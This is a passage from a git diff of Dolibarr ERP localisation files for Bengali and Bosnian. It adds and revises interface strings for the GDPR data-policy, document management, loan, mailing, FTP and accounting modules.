      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/bn_BD/dict.lang b/htdocs/langs/bn_BD/dict.lang index ec315d97142..00ab5a05f24 100644 --- a/htdocs/langs/bn_BD/dict.lang +++ b/htdocs/langs/bn_BD/dict.lang @@ -21,7 +21,7 @@ CountryNL=Netherlands CountryHU=Hungary CountryRU=Russia CountrySE=Sweden -CountryCI=Ivoiry Coast +CountryCI=Ivory Coast CountrySN=Senegal CountryAR=Argentina CountryCM=Cameroon @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Mrs. +CivilityMMEShort=Mrs. CivilityMR=Mr. +CivilityMRShort=Mr. CivilityMLE=Ms. CivilityMTRE=Master CivilityDR=Doctor diff --git a/htdocs/langs/bn_BD/ecm.lang b/htdocs/langs/bn_BD/ecm.lang index 494a6c55164..5ced4ec5617 100644 --- a/htdocs/langs/bn_BD/ecm.lang +++ b/htdocs/langs/bn_BD/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Manual directory ECMSectionAuto=Automatic directory ECMSectionsManual=Manual tree ECMSectionsAuto=Automatic tree +ECMSectionsMedias=Medias tree ECMSections=Directories ECMRoot=ECM Root ECMNewSection=New directory @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Number of files in sub-directories ECMCreationUser=Creator ECMArea=DMS/ECM area ECMAreaDesc=The DMS/ECM (Document Management System / Electronic Content Management) area allows you to save, share and search quickly all kind of documents in Dolibarr. -ECMAreaDesc2=* Automatic directories are filled automatically when adding documents from card of an element.
      * Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Directory %s has been deleted. ECMSectionWasCreated=Directory %s has been created. ECMSearchByKeywords=Search by keywords diff --git a/htdocs/langs/bn_BD/loan.lang b/htdocs/langs/bn_BD/loan.lang index d271ed0c140..3bbb0e455d5 100644 --- a/htdocs/langs/bn_BD/loan.lang +++ b/htdocs/langs/bn_BD/loan.lang @@ -24,11 +24,11 @@ FinancialCommitment=Financial commitment InterestAmount=Interest CapitalRemain=Capital remain TermPaidAllreadyPaid = This term is allready paid -CantUseScheduleWithLoanStartedToPaid = Can't use scheduler for a loan with payment started +CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with a payment started CantModifyInterestIfScheduleIsUsed = You can't modify interest if you use schedule # Admin ConfigLoan=Configuration of the module loan -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Accounting account capital by default -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Accounting account interest by default -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Accounting account insurance by default +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Edit financial commitment diff --git a/htdocs/langs/bn_BD/mailmanspip.lang b/htdocs/langs/bn_BD/mailmanspip.lang index bab4b3576b4..6ff3ac9f770 100644 --- a/htdocs/langs/bn_BD/mailmanspip.lang +++ b/htdocs/langs/bn_BD/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Subscription test was executed successfully MailmanDeletionSuccess=Unsubscription test was executed successfully SynchroMailManEnabled=A Mailman update will be performed SynchroSpipEnabled=A Spip update will be performed -DescADHERENT_MAILMAN_ADMINPW=Mailman administrator password +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administrator password DescADHERENT_MAILMAN_URL=URL for Mailman subscriptions DescADHERENT_MAILMAN_UNSUB_URL=URL for Mailman unsubscriptions DescADHERENT_MAILMAN_LISTS=List(s) for automatic inscription of new members (separated by a comma) diff --git a/htdocs/langs/bn_BD/mails.lang b/htdocs/langs/bn_BD/mails.lang index 52c4d4dbf69..bd80b576c5a 100644 --- a/htdocs/langs/bn_BD/mails.lang +++ b/htdocs/langs/bn_BD/mails.lang @@ -7,10 +7,10 @@ MailCard=EMailing card MailRecipients=Recipients MailRecipient=Recipient MailTitle=Description -MailFrom=Sender +MailFrom=From MailErrorsTo=Errors to MailReply=Reply to -MailTo=Receiver(s) +MailTo=To MailToUsers=To user(s) MailCC=Copy to MailToCCUsers=Copy to users(s) @@ -178,3 +178,4 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. diff --git a/htdocs/langs/bn_BD/main.lang b/htdocs/langs/bn_BD/main.lang index 3bb0a52d6b3..0502c2c9bfe 100644 --- a/htdocs/langs/bn_BD/main.lang +++ b/htdocs/langs/bn_BD/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=. @@ -28,6 +34,7 @@ NoTemplateDefined=No template available for this email type AvailableVariables=Available substitution variables NoTranslation=No translation Translation=Translation +Translations=Translations CurrentTimeZone=TimeZone PHP (server) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Valid Approve=Approve Disapprove=Disapprove ReOpen=Re-Open +OpenVerb=Opened Upload=Upload ToLink=Link Select=Select @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=No user group defined Password=Password -PasswordRetype=Retype your password +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Note that a lot of features/modules are disabled in this demonstration. Name=Name NameSlashCompany=Name / Company @@ -244,6 +252,7 @@ Designation=Description DescriptionOfLine=Description of line DateOfLine=Date of line DurationOfLine=Duration of line +ParentLine=Parent line ID Model=Doc template DefaultModel=Default doc template Action=Event @@ -344,7 +353,7 @@ KiloBytes=Kilobytes MegaBytes=Megabytes GigaBytes=Gigabytes TeraBytes=Terabytes -UserAuthor=Ceated by +UserAuthor=Created by UserModif=Updated by b=b. Kb=Kb @@ -480,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=Events about this member ActionsOnProduct=Events about this product +ActionsOnAsset=Events for this fixed asset NActionsLate=%s late ToDo=To do Completed=Completed @@ -517,6 +527,7 @@ or=or Other=Other Others=Others OtherInformations=Other information +Workflow=Workflow Quantity=Quantity Qty=Qty ChangedBy=Changed by @@ -619,6 +630,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Attached files and documents JoinMainDoc=Join main document +JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found DateFormatYYYYMM=YYYY-MM DateFormatYYYYMMDD=YYYY-MM-DD DateFormatYYYYMMDDHHMM=YYYY-MM-DD HH:SS @@ -709,6 +721,7 @@ FeatureDisabled=Feature disabled MoveBox=Move widget Offered=Offered NotEnoughPermissions=You don't have permission for this action +UserNotInHierachy=This action is reserved to the supervisors of this user SessionName=Session name Method=Method Receive=Receive @@ -798,6 +811,7 @@ URLPhoto=URL of photo/logo SetLinkToAnotherThirdParty=Link to another third party LinkTo=Link to LinkToProposal=Link to proposal +LinkToExpedition= Link to expedition LinkToOrder=Link to order LinkToInvoice=Link to invoice LinkToTemplateInvoice=Link to template invoice @@ -916,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Download DownloadDocument=Download document +DownloadSignedDocument=Download signed document ActualizeCurrency=Update currency rate Fiscalyear=Fiscal year ModuleBuilder=Module and Application Builder @@ -1041,6 +1056,7 @@ SearchIntoContracts=Contracts SearchIntoCustomerShipments=Customer shipments SearchIntoExpenseReports=Expense reports SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Vendor payments @@ -1132,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Rate +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1164,3 +1194,19 @@ NotClosedYet=Not yet closed ClearSignature=Reset signature CanceledHidden=Canceled hidden CanceledShown=Canceled shown +Terminate=Terminate +Terminated=Terminated +AddLineOnPosition=Add line on position (at the end if empty) +ConfirmAllocateCommercial=Assign sales representative confirmation +ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Your message +YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. +UrlToCheck=Url to check +Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Internal user +ExternalUser=External user diff --git a/htdocs/langs/bn_BD/other.lang b/htdocs/langs/bn_BD/other.lang index 49ff93dd589..b7344157bf3 100644 --- a/htdocs/langs/bn_BD/other.lang +++ b/htdocs/langs/bn_BD/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved Notify_ORDER_SUPPLIER_REFUSE=Purchase order refused Notify_PROPAL_VALIDATE=Customer proposal validated Notify_PROPAL_CLOSE_SIGNED=Customer proposal closed signed +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Customer proposal closed refused +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Commercial proposal sent by mail Notify_WITHDRAW_TRANSMIT=Transmission withdrawal Notify_WITHDRAW_CREDIT=Credit withdrawal @@ -110,7 +112,7 @@ ChooseYourDemoProfilMore=...or build your own profile
      (manual module selectio DemoFundation=Manage members of a foundation DemoFundation2=Manage members and bank account of a foundation DemoCompanyServiceOnly=Company or freelance selling service only -DemoCompanyShopWithCashDesk=Manage a shop with a cash desk +DemoCompanyShopWithCashDesk=Manage a shop with a cash box DemoCompanyProductAndStocks=Shop selling products with Point Of Sales DemoCompanyManufacturing=Company manufacturing products DemoCompanyAll=Company with multiple activities (all main modules) @@ -181,6 +183,7 @@ SizeUnitfoot=foot SizeUnitpoint=point BugTracker=Bug tracker SendNewPasswordDesc=This form allows you to request a new password. It will be sent to your email address.
      Change will become effective once you click on the confirmation link in the email.
      Check your inbox. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Back to login page AuthenticationDoesNotAllowSendNewPassword=Authentication mode is %s.
      In this mode, Dolibarr can't know nor change your password.
      Contact your system administrator if you want to change your password. EnableGDLibraryDesc=Install or enable GD library on your PHP installation to use this option. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Invoice %s has been validated. EMailTextInvoicePayed=Invoice %s has been paid. EMailTextProposalValidated=Proposal %s has been validated. EMailTextProposalClosedSigned=Proposal %s has been closed signed. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Order %s has been validated. EMailTextOrderApproved=Order %s has been approved. EMailTextOrderValidatedBy=Order %s has been recorded by %s. @@ -303,3 +309,31 @@ SelectTheTypeOfObjectToAnalyze=Select an object to view its statistics... ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Close +Autofill = Autofill + +# externalsite +ExternalSiteSetup=Setup link to external website +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=Module ExternalSite was not configured properly. +ExampleMyMenuEntry=My menu entry + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Failed to remove file %s. +FTPFailedToRemoveDir=Failed to remove directory %s: check permissions and that the directory is empty. +FTPPassiveMode=Passive mode +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Failed to get files %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/bn_IN/datapolicy.lang b/htdocs/langs/bn_IN/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/bn_IN/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/bs_BA/accountancy.lang b/htdocs/langs/bs_BA/accountancy.lang index 3980b533703..a15b6a0d8b7 100644 --- a/htdocs/langs/bs_BA/accountancy.lang +++ b/htdocs/langs/bs_BA/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Select the carriage return type ACCOUNTING_EXPORT_PREFIX_SPEC=Odredi prefiks za naziv datoteke ThisService=This service ThisProduct=Ovaj proizvod -DefaultForService=Default for service -DefaultForProduct=Pretpostavljeno za proizvod +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Product for this thirdparty ServiceForThisThirdparty=Service for this thirdparty CantSuggest=Can't suggest @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -99,7 +101,8 @@ ShowAccountingAccount=Show accounting account ShowAccountingJournal=Show accounting journal ShowAccountingAccountInLedger=Show accounting account in ledger ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=Predloženi računovodstveni račun +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Default accounts MenuBankAccounts=Žiro računi MenuVatAccounts=Vat accounts @@ -112,7 +115,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,10 +123,11 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modifikacija transakcije ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Account balance +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Source object ref CAHTF=Total purchase vendor before tax TotalExpenseReport=Total expense report @@ -161,41 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Dnevnik prodaje -ACCOUNTING_PURCHASE_JOURNAL=Dnevnik nabavki -ACCOUNTING_MISCELLANEOUS_JOURNAL=Dnevnik raznih stavki +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Dnevnik troškova -ACCOUNTING_SOCIAL_JOURNAL=Dnevnik doprinosa +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Dnevnik doprinosa ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer 